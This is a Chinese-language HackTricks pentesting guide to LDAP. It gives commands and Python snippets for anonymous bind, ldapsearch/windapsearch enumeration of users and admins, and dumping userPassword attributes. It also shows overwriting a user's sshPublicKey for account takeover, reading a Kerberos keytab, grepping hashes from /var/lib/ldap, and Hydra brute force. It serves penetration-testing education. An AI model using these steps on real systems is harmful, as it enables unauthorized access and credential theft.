hacktricks/network-services-pentesting/pentesting-ldap.md

16 KiB
Raw Blame History

389, 636, 3268, 3269 - 渗透测试 LDAP

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

LDAP(轻量级目录访问协议)的使用主要是为了在公共和私人网络中定位各种实体,如组织、个人和资源(如文件和设备)。与其前身 DAP 相比LDAP 提供了一种更简化的方法,代码占用空间更小。

LDAP 目录被结构化以允许它们分布在多个服务器上每个服务器都有一个称为目录系统代理DSA复制同步版本的目录。处理请求的责任完全由 LDAP 服务器承担,它可能根据需要与其他 DSA 通信,以向请求者提供统一的响应。

LDAP 目录的组织类似于树形层次结构,从顶部的根目录开始。这向下分支到国家,进一步分为组织,然后到代表各个部门或部门的组织单位,最终达到个体实体级别,包括人员和共享资源,如文件和打印机。

**默认端口:**389 和 636ldaps。全局目录ActiveDirectory 中的 LDAP默认在端口 3268 上提供LDAPS 则在端口 3269 上提供。

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP数据交换格式

LDIFLDAP数据交换格式将目录内容定义为一组记录。它还可以表示更新请求添加、修改、删除、重命名

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • 第1-3行定义了顶级域local
  • 第5-8行定义了第一级域moneycorpmoneycorp.local
  • 第10-16行定义了2个组织单位dev和sales
  • 第18-26行创建了一个域对象并分配了带有值的属性

写入数据

请注意,如果您可以修改值,您可能能够执行非常有趣的操作。例如,想象一下,您可以更改您的用户或任何用户的"sshPublicKey"信息。如果存在这个属性,那么ssh很可能正在从LDAP读取公钥。如果您可以修改用户的公钥,您将能够以该用户的身份登录即使在ssh中未启用密码身份验证

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

拦截明文凭证

如果LDAP在没有SSL的情况下使用您可以在网络中拦截明文凭证

此外您可以在LDAP服务器和客户端之间的网络中执行中间人攻击。在这里,您可以进行降级攻击,使客户端使用明文凭证进行登录。

如果使用SSL,您可以尝试进行类似于上述提到的MITM攻击,但提供一个伪证书,如果用户接受它,您可以降级认证方法并再次查看凭证。

匿名访问

绕过TLS SNI检查

根据这篇文章只需使用任意域名如company.com访问LDAP服务器他就能够以匿名用户的身份联系LDAP服务并提取信息

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP匿名绑定

LDAP匿名绑定允许未经身份验证的攻击者从域中检索信息,例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个传统配置自Windows Server 2003起只有经过身份验证的用户才被允许发起LDAP请求。
然而,管理员可能需要设置特定应用程序以允许匿名绑定并提供比预期更多的访问权限从而使未经身份验证的用户可以访问AD中的所有对象。

有效凭据

如果您有登录LDAP服务器的有效凭据您可以使用以下命令来转储有关域管理员的所有信息

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

暴力破解

枚举

自动化

使用此方法,您将能够查看公共信息(如域名)

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

使用Python进行LDAP枚举

您可以尝试使用Python带有或不带有凭据枚举LDAPpip3 install ldap3

首先尝试不带凭据连接:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

如果响应为 True,就像前面的示例一样,您可以从 LDAP 服务器中获取一些有趣的数据(如命名上下文域名

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

一旦您获得命名上下文,您可以进行一些更令人兴奋的查询。这个简单的查询应该向您显示目录中的所有对象:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

或者转储整个ldap

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本。

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

检查空凭据或您的凭据是否有效:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

如果发现有关“bind必须完成”的内容,意味着凭据不正确。

您可以使用以下方法提取域中的所有内容

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

提取用户

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

提取计算机

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取我的信息

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Domain Admins

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取域用户

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取Enterprise Admins

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取 Administrators:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

提取远程桌面组

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

要查看是否有访问密码您可以在执行以下查询之后使用grep

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

您可以从这里下载pbishttps://github.com/BeyondTrust/pbis-open/,通常安装在/opt/pbis目录中。
Pbis允许您轻松获取基本信息:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

图形界面

Apache Directory

从这里下载Apache Directory。您可以在这里找到如何使用此工具的示例

jxplorer

您可以在此处下载带有LDAP服务器的图形界面http://www.jxplorer.org/downloads/users.html

默认安装在:/opt/jxplorer

Godap

您可以在https://github.com/Macmod/godap访问它

通过kerberos进行身份验证

使用ldapsearch,您可以通过使用参数-Y GSSAPI对kerberos进行身份验证,而不是通过NTLM进行身份验证

POST

如果您可以访问包含数据库的文件可能在_/var/lib/ldap_中。您可以使用以下方法提取哈希值

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

配置文件

  • 通用
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 服务器
  • V3.sas.oc
  • Microsoft Active Directory 服务器
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP 目录服务器
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

其他支持HackTricks的方式